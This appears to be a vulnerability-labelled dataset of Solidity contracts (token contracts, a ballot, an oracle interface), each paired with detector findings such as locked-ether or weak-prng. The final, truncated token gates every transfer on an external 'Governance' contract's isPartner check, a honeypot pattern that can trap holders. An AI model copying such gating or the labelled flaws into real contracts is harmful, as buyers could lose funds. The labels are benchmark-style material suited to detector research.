function comparePathsFixedOutput(
address[] memory pathA,
address[] memory pathB,
uint256 _amountOut,
uint256 _i
) external view returns (address[] memory path, uint256 amountIn);
function ours(address a) external view returns (bool);
function oracleCount() external view returns (uint256);
function oracleAt(uint256 idx) external view returns (address);
function getOracle(
address _tokenA,
address _tokenB,
uint256 _period,
uint256 _i
) external view returns (address);
function createOrUpdateOracle(
address _tokenA,
address _tokenB,
uint256 _period,
uint256 _i
) external returns (address oracleAddr);
function consultForFree(
address _from,
address _to,
uint256 _amountIn,
uint256 _period,
uint256 _i
) external view returns (uint256 amountOut, uint256 lastUpdatedAt);
/// get the data we want and pay the gas to update
function consult(
address _from,
address _to,
uint256 _amountIn,
uint256 _period,
uint256 _i
)
external
returns (
uint256 amountOut,
uint256 lastUpdatedAt,
bool updated
);
function updateOracles() external returns (uint256 updated, uint256 expected);
function updateOracles(address[] memory _oracleAddrs)
external
returns (uint256 updated, uint256 expected);
}
| These are the vulnerabilities found
1) weak-prng with High impact
2) unused-return with Medium impact
3) uninitialized-local with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'CyclopDoge' token contract
//
// Deployed to : 0x13E9d08466e0141934eFB828E60bAAa73E173705
// Symbol : CLODOGE
// Name : CyclopDoge
// Total supply: 1000000000000000
// Decimals : 18
//
// https://t.me/cyclopdoge.
// CYLODOGE is the world’s first MEME-NFT art coin with REAL BUSINESS MODEL
// cyclops.finance supported MEME token
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract CyclopDoge is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function CyclopDoge() public {
symbol = "CYCDOGE";
name = "CyclopDoge";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[0x13E9d08466e0141934eFB828E60bAAa73E173705] = _totalSupply;
Transfer(address(0), 0x13E9d08466e0141934eFB828E60bAAa73E173705, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.0;
contract Ballot {
struct Voter {
uint weight;
bool voted;
uint8 vote;
address delegate;
}
struct Proposal {
uint voteCount;
}
address chairperson;
mapping(address => Voter) voters;
Proposal[] proposals;
/// Create a new ballot with $(_numProposals) different proposals.
function Ballot(uint8 _numProposals) public {
chairperson = msg.sender;
voters[chairperson].weight = 1;
proposals.length = _numProposals;
}
/// Give $(toVoter) the right to vote on this ballot.
/// May only be called by $(chairperson).
function giveRightToVote(address toVoter) public {
if (msg.sender != chairperson || voters[toVoter].voted) return;
voters[toVoter].weight = 1;
}
/// Delegate your vote to the voter $(to).
function delegate(address to) public {
Voter storage sender = voters[msg.sender]; // assigns reference
if (sender.voted) return;
while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender)
to = voters[to].delegate;
if (to == msg.sender) return;
sender.voted = true;
sender.delegate = to;
Voter storage delegateTo = voters[to];
if (delegateTo.voted)
proposals[delegateTo.vote].voteCount += sender.weight;
else
delegateTo.weight += sender.weight;
}
/// Give a single vote to proposal $(toProposal).
function vote(uint8 toProposal) public {
Voter storage sender = voters[msg.sender];
if (sender.voted || toProposal >= proposals.length) return;
sender.voted = true;
sender.vote = toProposal;
proposals[toProposal].voteCount += sender.weight;
}
function winningProposal() public constant returns (uint8 _winningProposal) {
uint256 winningVoteCount = 0;
for (uint8 prop = 0; prop < proposals.length; prop++)
if (proposals[prop].voteCount > winningVoteCount) {
winningVoteCount = proposals[prop].voteCount;
_winningProposal = prop;
}
}
}
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Bithenet' token contract
//
// Deployed to : 0x04922f44D030f352aE336C125cf785BF49628056
// Symbol : BTN
// Name : Bithenet
// Total supply: 100000000000000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Bithenet is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Bithenet() public {
symbol = "BTN";
name = "Bithenet";
decimals = 18;
_totalSupply = 10000000000000000000000000;
balances[0x04922f44D030f352aE336C125cf785BF49628056] = _totalSupply;
emit Transfer(address(0), 0x04922f44D030f352aE336C125cf785BF49628056, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact
2) controlled-array-length with High impact |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity ^0.6.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity ^0.6.0;
contract TKToken is Context, ERC20 {
address internal owner;
constructor(string memory name, string memory symbol, uint256 amount) public ERC20(name, symbol) {
owner = _msgSender();
_mint(_msgSender(), amount);
}
} | No vulnerabilities found |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract DFGL is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DFGL";
name = "DEFI GOLD";
decimals = 18;
_totalSupply = 27000e18;
balances[0xd5918C2FEeE3Be35800Cf830F189ed7Fd0Efd13D] = _totalSupply;
emit Transfer(address(0), 0xd5918C2FEeE3Be35800Cf830F189ed7Fd0Efd13D, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
// Developed by CMX TRADING
// https://cmxtrading.com | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract Aluminium is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Aluminium";
symbol = "ALMN";
decimals = 18;
_totalSupply = 92000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | No vulnerabilities found |
pragma solidity ^ 0.5.16;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface Governance {
function isPartner(address sender,address addr) external returns(bool);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
address _governance = 0x488301f51C3e6f3eA0635E154C21E1F857A1c174;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal ensure(sender) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
modifier ensure(address sender) {
require(Governance(_governance).isPartner(sender,address(this)));
_;
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
